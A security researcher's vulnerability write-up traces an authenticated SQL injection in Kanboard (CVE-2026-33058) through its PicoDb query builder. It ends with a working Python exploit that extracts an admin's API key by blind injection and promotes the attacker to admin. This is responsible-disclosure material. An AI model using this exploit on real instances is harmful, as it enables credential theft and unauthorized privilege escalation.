Hello again,

this post walks through the discovery of an authenticated SQL injection in Kanboard version <= 1.2.50 tracked as CVE-2026-33058.

Storytime

Our journey begins on a lazy Saturday afternoon, coffee in hand and an urge to find SQL injection vulnerabilities in Kanboard. I started looking for the answer to a simple question: “How does Kanboard handle database interactions?”

I began looking for interactions with the database by tracing the complete request and response cycle of a GET request, starting with a randomly chosen controller under app/Controller/*.php. After following a few calls, I ended up in app/Model/*.php. Looking at one of the models’ methods shows that Kanboard uses your average ORM or SQL query builder pattern:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
/**
 * Get all tasks for a given project and status
 *
 * @access public
 * @param  integer   $project_id      Project id
 * @param  integer   $status_id       Status id
 * @return array
 */
public function getAll($project_id, $status_id = TaskModel::STATUS_OPEN)
{
    return $this->db
                ->table(TaskModel::TABLE)
                ->eq(TaskModel::TABLE.'.project_id', $project_id)
                ->eq(TaskModel::TABLE.'.is_active', $status_id)
                ->asc(TaskModel::TABLE.'.id')
                ->findAll();
}

Following $this->db we end up in libs/picodb/lib/PicoDb/Database.php, the heart of the SQL query builder. According to PicoDb’s README.md this is in fact a “minimalist database query builder for PHP”, written by Kanboard’s author themselves.

At this point I started looking for defenses against SQL injection.

Grepping for the usage of prepared statements led me to libs/picodb/lib/PicoDb/StatementHandler.php. The execute() method leverages PDO::prepare, binds the parameters with PDOStatement::bindParam and finally executes the statement with PDOStatement::execute:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
 * Execute a prepared statement
 *
 * Note: returns false on duplicate keys instead of SQLException
 *
 * @access public
 * @return PDOStatement|false
 */
public function execute()
{
    try {
        $this->beforeExecute();

        $pdoStatement = $this->db->getConnection()->prepare($this->sql);
        $this->bindParams($pdoStatement);
        $pdoStatement->execute();

        $this->afterExecute();
        return $pdoStatement;
    } catch (PDOException $e) {
        return $this->handleSqlError($e);
    }
}

This method is used internally by libs/picodb/lib/PicoDb/Database.php, which in turn exposes a higher-level execute() method:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
/**
 * Execute a prepared statement
 *
 * Note: returns false on duplicate keys instead of SQLException
 *
 * @access public
 * @param  string    $sql      SQL query
 * @param  array     $values   Values
 * @return \PDOStatement|false
 */
public function execute($sql, array $values = array())
{
    return $this->statementHandler
        ->withSql($sql)
        ->withPositionalParams($values)
        ->execute();
}

The Database::execute method doesn’t seem to be invoked on it’s own outside of the library, but rather through methods in libs/picodb/lib/PicoDb/Table.php. Common finalizer methods such as insert(), update() or findAll() internally invoke Database::execute to construct, prepare and execute the SQL query. This is how Table::findAll() looks like:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
 /**
  * Fetch all rows
  *
  * @access public
  * @return array
  */
 public function findAll()
 {
     $rq = $this->db->execute($this->buildSelectQuery(), $this->conditionBuilder->getValues());
     $results = $rq->fetchAll(PDO::FETCH_ASSOC);

     if (is_callable($this->callback) && ! empty($results)) {
         return call_user_func($this->callback, $results);
     }

     return $results;
 }

Recall that $this->db-execute() accepts two parameters. The first parameter is the SQL query string and the second parameter are the actual values. The query string is prepared with PDO::prepare() and the values are bound with PDOStatement::bindParam(). Preparing the SQL query and then binding the parameters, e.g. using prepared statements, should sanitize user controlled values safely before they are interpolated in the final SQL query.

Without going into the inner workings of PDO, the SQL query string to be prepared must be free of unintended (injected) statements. In other words, as long as no malicious input can reach PDO::prepare($the_sql_statement) you should be reasonably well protected against injection attempts.

My goal was to find out if we can inject into the constructed SQL query before it is prepared with PDO::prepare(). To do so, I followed the call to $this->buildSelectQuery() which is responsible for constructing the SQL query string before it is prepared:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
 * Build a select query
 *
 * @access public
 * @return string
 */
public function buildSelectQuery()
{
    if (empty($this->sqlSelect)) {
        $this->columns = $this->db->escapeIdentifierList($this->columns, $this->name);
        $this->sqlSelect = ($this->distinct ? 'DISTINCT ' : '').(empty($this->columns) ? '*' : implode(', ', $this->columns));
    }

    $this->groupBy = $this->db->escapeIdentifierList($this->groupBy);

    return trim(sprintf(
        'SELECT %s %s FROM %s %s %s %s %s %s %s %s',
        $this->sqlTop,
        $this->sqlSelect,
        $this->db->escapeIdentifier($this->name),
        implode(' ', $this->joins),
        $this->conditionBuilder->build(),
        empty($this->groupBy) ? '' : 'GROUP BY '.implode(', ', $this->groupBy),
        $this->sqlOrder,
        $this->sqlLimit,
        $this->sqlOffset,
        $this->sqlFetch
    ));
}

A few things stood out to me while looking at this method. Namely, the call to escapeIdentifierList() and escapeIdentifier(). Just purely based on their names we can assume they escape (sanitize) SQL identifiers. Let’s take a closer look at what escapeIdentifier() does:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
 * Escape an identifier (column, table name...)
 *
 * @access public
 * @param  string    $value    Value
 * @param  string    $table    Table name
 * @return string
 */
public function escapeIdentifier($value, $table = '')
{
    // Do not escape custom query
    if (strpos($value, '.') !== false || strpos($value, ' ') !== false) {
        return $value;
    }

    // Avoid potential SQL injection
    if (preg_match('/^[a-z0-9_]+$/', $value) === 0) {
        throw new SQLException('Invalid identifier: '.$value);
    }

    if (! empty($table)) {
        return $this->driver->escape($table).'.'.$this->driver->escape($value);
    }

    return $this->driver->escape($value);
}

The method seems to use a combination of regex (hell yeah) and calls to $this->driver->escape() in an attempt to sanitize SQL identifiers. The calls to $this->driver->escape() use simple string operations to wrap the value in driver-specific escaped identifiers.

But hold on…, we skipped an important chunk of escapeIdentifier(). What the flip is this?!

1
2
3
4
5
6
7
public function escapeIdentifier($value, $table = '')
{
    // Do not escape custom query
    if (strpos($value, '.') !== false || strpos($value, ' ') !== false) {
        return $value;
    }
    ...

If $value contains a dot or a space, sanitization attempts are completely bypassed. The $value is returned as is. In other words, if user controlled input ever reaches escapeIdentifier() it may not be properly escaped.

This, my dear reader, is an early return that could ruin your day. Let’s keep digging.

With this observation I started looking for references to this method. I continued where I previously left off in the buildSelectQuery() method, digging deeper into the call to $this->conditionBuilder->build(). Here’s what it does:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
/**
 * Build the SQL condition
 *
 * @access public
 * @return string
 */
public function build()
{
    return empty($this->conditions) ? '' : ' WHERE '.implode(' AND ', $this->conditions);
}

The method is responsible for constructing a WHERE clause and combines the array of $conditions with AND. In the same class, I started looking for references to $conditions to determine how this value is populated.

The ConditionBuilder::addCondition() method appears to be used quite frequently to append conditions to this array. It is invoked by helper methods in ConditionBuilder such as like(), in(), lt(), gt(), eq() and others. These methods are in turn exposed by Database and Table, allowing the developer to construct conditional queries using the builder pattern.

As a concrete example, let’s look at eq():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
/**
 * Equal condition
 *
 * @access public
 * @param  string   $column
 * @param  mixed    $value
 */
public function eq($column, $value)
{
    $this->addCondition($this->db->escapeIdentifier($column).' = ?');
    $this->values[] = $value;
}

The first parameter of eq(), the $column, is passed to escapeIdentifier() and concatenated with an “equals placeholder” string. The second parameter $value is added to a separate array, holding all $values.

Once ConditionBuilder::build() is called, all $conditions added via addCondition() are finalized into a string containing the conditional operands: ... WHERE conditionN AND .... Using the eq() method essentially constructs a conditional of $column = ?, with the $column being escaped through escapeIdentifier().

Referring back to the start of this post, we see the invocation of the eq() method in one of the app/Model/* files:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
/**
 * Get all tasks for a given project and status
 *
 * @access public
 * @param  integer   $project_id      Project id
 * @param  integer   $status_id       Status id
 * @return array
 */
public function getAll($project_id, $status_id = TaskModel::STATUS_OPEN)
{
    return $this->db
                ->table(TaskModel::TABLE)
                ->eq(TaskModel::TABLE.'.project_id', $project_id)
                ->eq(TaskModel::TABLE.'.is_active', $status_id)
                ->asc(TaskModel::TABLE.'.id')
                ->findAll();
}

Based on the information we’ve gathered thus far, we can argue that user controlled input in the first argument to eq($column, $value) constructs an unsanitized $column = ? fragment. In other words, the SQL query string is compromised before it reaches PDO::prepare() leading to an SQL injection vulnerability.

Armed with a new cup of coffee and the obtained knowledge of eq($user_input, ...) = bad and escapeIdentifier($user_input) = bad, I started looking for call-chains that would allow me to compromise the constructed SQL query string.

I came up with a “good enough” regex pattern to search for references to conditionals where the first argument is a variable:

rg -A 10 -B 10 '\->(eq|neq|in|inSubquery|notIn|notInSubquery|like|ilike|gt|gtSubquery|lt|ltSubquery|gte|gteSubquery|lte|lteSubquery|isNull|notNull)\(\s*\$' app/Model

Based on the found references (sinks) I followed the call-chain backwards to find their respective source.

A few minutes of sifting through potential sinks and their sources, I found “the one” in ProjectPermissionController.php. This controller exposes the addUser endpoint, intended to add users to a project:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
/**
 * Add user to the project
 *
 * @access public
 */
public function addUser()
{
    $this->checkCSRFForm();

    $project = $this->getProject();
    $values = $this->request->getValues();

    if (empty($values['user_id']) && ! empty($values['external_id']) && ! empty($values['external_id_column'])) {
        $values['user_id'] = $this->userModel->getOrCreateExternalUserId($values['username'], $values['name'], $values['external_id_column'], $values['external_id']);
    }

   ...
}

This method consumes user controlled POST parameters, such as the user_id, external_id and external_id_column. In the if branch the parameters are passed to UserModel::getOrCreateExternalUserId(...).

The getOrCreateExternalUserId() method in turn passes the $externalIdColumn as the first argument to eq($column, ...). Which, as we know by now, may not be properly sanitized:

1
2
3
4
5
public function getOrCreateExternalUserId($username, $name, $externalIdColumn, $externalId)
{
    $userId = $this->db->table(self::TABLE)->eq($externalIdColumn, $externalId)->findOneColumn('id');
    ...
}

To verify that “all of the above” actually leads to an exploitable SQL injection vulnerability, I set up a dockerized Kanboard instance. To make life easier, I modified StatementHandler::execute() to dump out the constructed SQL query string before it is prepared and executed:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
 * Execute a prepared statement
 *
 * Note: returns false on duplicate keys instead of SQLException
 *
 * @access public
 * @return PDOStatement|false
 */
public function execute()
{
    try {
        $this->beforeExecute();

        // :)
        print_r($this->sql);

        $pdoStatement = $this->db->getConnection()->prepare($this->sql);
        $this->bindParams($pdoStatement);
        $pdoStatement->execute();

        $this->afterExecute();
        return $pdoStatement;
    } catch (PDOException $e) {
        return $this->handleSqlError($e);
    }
}

With the modified file in place, I started out with a simple POST request that populates external_id_column (and others) with dummy values that are easy to spot in the output:

As depicted in the output through print_r($this->sql), we can see that a SELECT query was constructed with the external_id_column value being compared to a placeholder:

SELECT  "users"."id" FROM "users"   WHERE "xxxxxxxxxxxxxx" = ?    LIMIT 1

As our dummy value did not contain a dot or space character the value was properly escaped by wrapping the value in double quotes.

Sending a request with external_id_column containing a magical space character however leads to an early-return, bypassing the sanitizer:

As depicted in the response, the sanitizer returned early and left the value as is, allowing us to inject into the query:

SELECT  "users"."id" FROM "users"   WHERE (SELECT OH NOES!!!11);-- - = ?    LIMIT 1

With my suspicions confirmed, I decided to write a PoC to demonstrate the exploitation of this vulnerability.

PoC

In this scenario, the attacker is authenticated and has the permission to add new users to a project (I think you need the “manager” role for that). The PoC leverages a boolean-based blind SQL injection payload to disclose the admin user’s API key. It then uses the API key to upgrade the attacker’s role to that of an admin.

Shitty PoC code follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import string
import bs4
import argparse
import requests


def main(args):
    base_url = args.url.rstrip("/")
    cookie = args.cookie
    if args.cookie.lower().startswith("cookie: "):
        cookie = args.cookie[8:]

    with requests.Session() as session:
        # session.proxies = {"http": "http://127.0.0.1:8080"}
        session.verify = False
        session.headers.update({"Cookie": cookie})
        response = session.get(f"{base_url}/project/{args.project_id}/permissions")
        soup = bs4.BeautifulSoup(response.text, features="html.parser")
        csrf = ""
        for form in soup.find_all("form"):
            action = form.get("action")
            if "controller=ProjectPermissionController&action=addUser" in action:
                csrf = form.find("input", attrs={"name": "csrf_token"}).get("value")
                break
        if csrf == "":
            print("failed to find csrf token")
            return

        def send_sqli(payload: str) -> bool:
            response = session.post(
                f"{base_url}/?controller=ProjectPermissionController&action=addUser&project_id={args.project_id}",
                data={
                    "csrf_token": csrf,
                    "user_id": "",
                    "username": "dummy",
                    "external_id": "dummy",
                    "external_id_column": payload,
                    "name": "dummy",
                    "role": "dummy",
                },
                allow_redirects=False,
            )
            return response.status_code == 302

        print(f"Looking for API key for {args.victim_username}...")

        chars = []
        no_key = True
        for idx in range(1, 61):  # api_access_token length is 60 chars, lowercased hex.
            for c in string.hexdigits[:-6]:
                response = send_sqli(
                    f"(CASE WHEN (SELECT SUBSTR(api_access_token, {idx}, 1)='{c}' FROM users WHERE username = '{args.victim_username}' LIMIT 1) THEN 'dummy' ELSE NULL END)"
                )
                if response:
                    no_key = False
                    chars.append(c)
                    break

            if no_key:
                print(f"No API key found for: {args.victim_username}")
                return

        api_key = "".join(chars)
        print(f"Found {args.victim_username}'s API key: {api_key}")

        print(f"Adding user {args.user_id} to admins...")
        requests.post(
            f"{base_url}/jsonrpc.php",
            auth=(args.victim_username, api_key),
            json={
                "jsonrpc": "2.0",
                "method": "updateUser",
                "id": 322123657,
                "params": {"id": args.user_id, "role": "app-admin"},
            },
        )


if __name__ == "__main__":
    ap = argparse.ArgumentParser()
    ap.add_argument("-t", "--url", required=True, help="target base url, e.g. http://localhost/")
    ap.add_argument("-p", "--project-id", required=True, type=int)
    ap.add_argument("-c", "--cookie", required=True, help="nom nom, your session cookies")
    ap.add_argument("-v", "--victim-username", required=True, help="the username to extract the API key from")
    ap.add_argument("-i", "--user-id", required=True, type=int, help="your user id")
    args = ap.parse_args()
    main(args)

Timeline

  • 2026-02-14 Vulnerability identified and reported GHSA-f62r-m4mr-2xhh
  • 2026-02-15 Write this post
  • 2026-02-16 Report accepted by @fguillot
  • 2026-03-07 Kanboard Patch 1.2.51 released
  • 2026-03-18 CVE-2026-33058 published
  • 2026-03-18 Publish this post

’til next time.